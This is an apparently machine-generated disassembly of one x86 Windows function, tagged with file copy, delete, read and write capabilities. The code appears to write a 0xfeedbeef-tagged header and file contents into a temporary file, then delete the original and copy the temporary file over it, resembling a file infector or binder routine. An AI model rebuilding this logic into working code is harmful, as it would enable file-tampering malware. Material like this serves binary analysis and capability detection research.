Function at 0x403174
Capabilities:
Copy file
Delete file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff678
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x988], edx
mov dword [ebp - 0x984], edx
mov dword [ebp - 0x980], edx
mov dword [ebp - 0x97c], edx
mov dword [ebp - 0x978], edx
mov dword [ebp - 0x974], edx
mov dword [ebp - 0x970], edx
mov dword [ebp - 0x96c], edx
mov dword [ebp - 0x968], edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00402374
mov ebx, 0x4064d0
mov esi, 0x4064cc
mov edi, 0x4064d4
xor eax, eax
push ebp
push 0x403596
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x964]
call fcn.0040168c
mov eax, dword [0x4050b0]
mov byte [eax], 0
mov edx, 1
lea eax, [ebp - 0x964]
call fcn.00401974
lea eax, [ebp - 0x964]
call fcn.00401800
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x964]
call fcn.00401800
mov edx, eax
lea eax, [ebp - 0x10]
call fcn.004024b0
push 0
lea eax, [ebp - 0x10]
call fcn.004023d8
mov edx, eax
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x964]
call fcn.00401788
lea eax, [ebp - 0x964]
call fcn.004017a8
mov edx, dword [ebp - 0x10]
mov eax, 0x4035ac
call fcn.00402468
test eax, eax
jg 0x403568
lea eax, [ebp - 0x815]
mov edx, 0x801
call fcn.00402a70
push 0
push 0x80
push 1
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x968]
mov ecx, 0x4035c0
mov edx, dword [ebp - 4]
call fcn.004021d8
mov eax, dword [ebp - 0x968]
call fcn.00402384
push eax
call sub.KERNEL32.DLL_CreateFileA
mov dword [ebx], eax
lea edx, [ebp - 0x96c]
xor eax, eax
call fcn.004013d4
mov eax, dword [ebp - 0x96c]
call fcn.004030fc
mov dword [0x4065ec], eax
lea edx, [ebp - 0x970]
mov eax, dword [0x4065ec]
add eax, 0x11
call fcn.00403014
mov edx, dword [ebp - 0x970]
mov eax, 0x4065f0
call fcn.00402070
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [0x4065f0]
call fcn.00402384
push eax
call sub.KERNEL32.DLL_CreateFileA
mov dword [esi], eax
push 0
lea eax, [ebp - 8]
push eax
push 0x800
lea eax, [ebp - 0x815]
push eax
mov eax, dword [esi]
push eax
call sub.KERNEL32.DLL_ReadFile
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0x815]
push eax
mov eax, dword [ebx]
push eax
call sub.KERNEL32.DLL_WriteFile
cmp dword [ebp - 0xc], 0
jne 0x403312
mov eax, dword [esi]
push eax
call sub.KERNEL32.DLL_CloseHandle
mov eax, dword [ebp - 4]
call fcn.004030fc
mov dword [0x4065ec], eax
lea edx, [ebp - 0x974]
mov eax, dword [0x4065ec]
add eax, 0x11
call fcn.00403014
mov edx, dword [ebp - 0x974]
mov eax, 0x4065f0
call fcn.00402070
mov dword [edi], 0xfeedbeef
xor eax, eax
mov dword [edi + 4], eax
mov eax, dword [ebp - 4]
call fcn.0040305c
mov dword [edi + 8], eax
mov dword [edi + 0xc], edx
mov byte [edi + 0x10], 0
mov eax, dword [0x4065ec]
push esi
push edi
lea esi, [eax + 0x11]
add edi, 0x11
mov ecx, 0x41
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
pop edi
pop esi
push 0
lea eax, [ebp - 0xc]
push eax
push 0x118
push edi
mov eax, dword [ebx]
push eax
call sub.KERNEL32.DLL_WriteFile
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [0x4065f0]
call fcn.00402384
push eax
call sub.KERNEL32.DLL_CreateFileA
mov dword [esi], eax
push 0
lea eax, [ebp - 8]
push eax
push 0x800
lea eax, [ebp - 0x815]
push eax
mov eax, dword [esi]
push eax
call sub.KERNEL32.DLL_ReadFile
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0x815]
push eax
mov eax, dword [ebx]
push eax
call sub.KERNEL32.DLL_WriteFile
cmp dword [ebp - 0xc], 0
jne 0x4033ef
mov eax, dword [esi]
push eax
call sub.KERNEL32.DLL_CloseHandle
lea edx, [ebp - 0x978]
xor eax, eax
call fcn.004013d4
mov eax, dword [ebp - 0x978]
call fcn.004030fc
mov dword [0x4065ec], eax
lea edx, [ebp - 0x97c]
mov eax, dword [0x4065ec]
add eax, 0x11
call fcn.00403014
mov edx, dword [ebp - 0x97c]
mov eax, 0x4065f0
call fcn.00402070
lea edx, [ebp - 0x980]
xor eax, eax
call fcn.004013d4
mov eax, dword [ebp - 0x980]
call fcn.0040305c
mov dword [0x4065f4], eax
mov dword [0x4065f8], edx
mov dword [edi], 0xfeedbeef
xor eax, eax
mov dword [edi + 4], eax
mov eax, dword [0x4065f4]
mov dword [edi + 8], eax
mov eax, dword [0x4065f8]
mov dword [edi + 0xc], eax
mov byte [edi + 0x10], 1
lea eax, [edi + 0x11]
xor ecx, ecx
mov edx, 0x105
call fcn.0040184c
push 0
lea eax, [ebp - 0xc]
push eax
push 0x118
push edi
mov eax, dword [ebx]
push eax
call sub.KERNEL32.DLL_WriteFile
lea eax, [ebp - 0x10]
mov edx, 0x4035ac
call fcn.004020b4
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x10]
call fcn.0040218c
push eax
lea eax, [ebp - 0x10]
call fcn.004023d8
push eax
mov eax, dword [ebx]
push eax
call sub.KERNEL32.DLL_WriteFile
mov eax, dword [ebx]
push eax
call sub.KERNEL32.DLL_CloseHandle
mov eax, dword [ebp - 4]
call fcn.00402384
mov ebx, eax
push ebx
call sub.KERNEL32.DLL_DeleteFileA
push 0
push ebx
lea eax, [ebp - 0x984]
mov ecx, 0x4035c0
mov edx, dword [ebp - 4]
call fcn.004021d8
mov eax, dword [ebp - 0x984]
call fcn.00402384
push eax
call sub.KERNEL32.DLL_CopyFileA
lea eax, [ebp - 0x988]
mov ecx, 0x4035c0
mov edx, dword [ebp - 4]
call fcn.004021d8
mov eax, dword [ebp - 0x988]
call fcn.00402384
push eax
call sub.KERNEL32.DLL_DeleteFileA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40359d
lea eax, [ebp - 0x988]
mov edx, 9
call fcn.00402040
lea eax, [ebp - 0x10]
call fcn.0040201c
lea eax, [ebp - 4]
call fcn.0040201c
ret